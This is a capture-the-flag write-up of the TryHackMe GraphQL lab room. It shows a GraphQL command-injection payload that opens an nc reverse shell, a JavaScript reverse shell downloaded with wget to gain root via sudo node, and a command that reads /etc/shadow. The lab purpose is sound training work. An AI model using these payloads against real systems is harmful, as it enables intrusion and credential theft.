GraphQL — PenTestical’s Writeup

Pentestical
4 min readNov 15, 2020

--

This time we’ll go through the TryHackMe room GraphQL. Credits to Paradox for creating this genius room. I really liked it!

Task 1: Read above. No answer needed.

Task 2: Read above. No answer needed.

Task 3: The room itself explains very well how GraphQL works, so I’ll go faster through this one.

Figure 1: Structure of a GraphQL query (source: www.tryhackme.com/room/graphql, Task 3).

So, basically, if we want to query the object type “Dog” with a parameter name of “Shiba Inu”, we could get his weight by simply typing:

{ Dog(name: “Shiba Inu”){ weight } }

For further reading: https://graphql.org/learn/schema/

Task 4: Same as task 3. Paradox does a great job of explaning the basics of GraphQL. Take your time to read through the materials.

Figure 2: How to extract informations from GraphQL (source: www.tryhackme.com/room/graphql, Task 4).

According to the naming scheme of figure 2, we can simply use:

{ __type(name: “Linux”){ fields { name } } }

Just make sure to use double underscores for __type.

Task 5: Read above. No answer needed.

Task 6: So, now the actions begins! It’s challenge time! First of all, we know that we have a blank GraphQL interface. So let’s jump right into it:

Figure 2: Blank GraphQL interface.

I’ll use the query of task 4 to see what we have (click on “prettify” after typing it, if you want):

{ __schema {types {name description } } }

This will give us the output:

Figure 3: GraphQL output of all relevant types.

The ping type looks pretty suspicious, but I had to spend a few hours to figure out what to do next. After doing some research and saying three times “it’s paradox, paradox, paradox”, something beautiful came up:

{ Ping(ip: “; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your-machine-ip 4444 >/tmp/f”) { ip output } }

Open a netcat session on your target box:

nc -nvlp 4444

And with this, we get initial foothold:

Figure 4: Initial foothold into the system as user “para”.

Privilege Escalation

First of all, I like to upgrade my netcat session. So, let’s use:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

Now, before using something like linpeas, let’s check always for

sudo -l

Figure 5: Using “sudo -l” to check for commands which can be run as root.

So we can use node to run the script server.js with root privileges. Always make sure to use the full path like /usr/bin/node instead of just node! The most easiest way to get a root shell is by simply using an own JavaScript reverse shell and put it into the server.js file. I had to google quite a bit to find a nice reverse shell written in JS:

var net = require(‘net’);var spawn = require(‘child_process’).spawn;
HOST=”your-machine-ip";
PORT=”4445";
TIMEOUT=”5000";if (typeof String.prototype.contains === ‘undefined’) { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } function c(HOST,PORT) { var client = new net.Socket(); client.connect(PORT, HOST, function() { var sh = spawn(‘/bin/sh’,[]); client.write(“Connected!\n”); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); sh.on(‘exit’,function(code,signal){ client.end(“Disconnected!\n”); }); }); client.on(‘error’, function(e) { setTimeout(c(HOST,PORT), TIMEOUT); });}c(HOST,PORT);

source: https://gist.github.com/mitchmoser/f6df9b7de4e6785ed66fd86082d02d69#file-celestial-reverse-shell-decoded

Replace the IP with your own one. Now, the rest is easy. You can simply use an editor like vi, but due to my incompetence of quitting the vi editor, I’ll just put the code inside a file called script.js and transfer it with using Python. On the attacker box, use:

python3 -m http.server 8000

On the target box, use:

cd /tmp && wget http://machine-ip:8000/script.js

And redirect the output of your script inside the server.js file:

cat script.js > /home/para/server.js

Figure 6: Transfering the JavaScript file on the target machine and overwriting the “server.js” file.

Now, on your attacker box, start a netcat session:

nc -nvlp 4445

And execute the server.js file with the sudo command.

sudo /usr/bin/node /home/para/server.js

On your attacker box, you should get a root shell:

Figure 7: Successful root shell after executing the server.js file on the victim machine.

To answer the question, we need the hash of para:

cat /etc/shadow | grep para

Figure 8: Hash value of the user “para”.

And that’s it! We made it. Whoop whoop. Feel free to ping me on Discord (PenTestical#1892), if you have any questions about this one.

--

--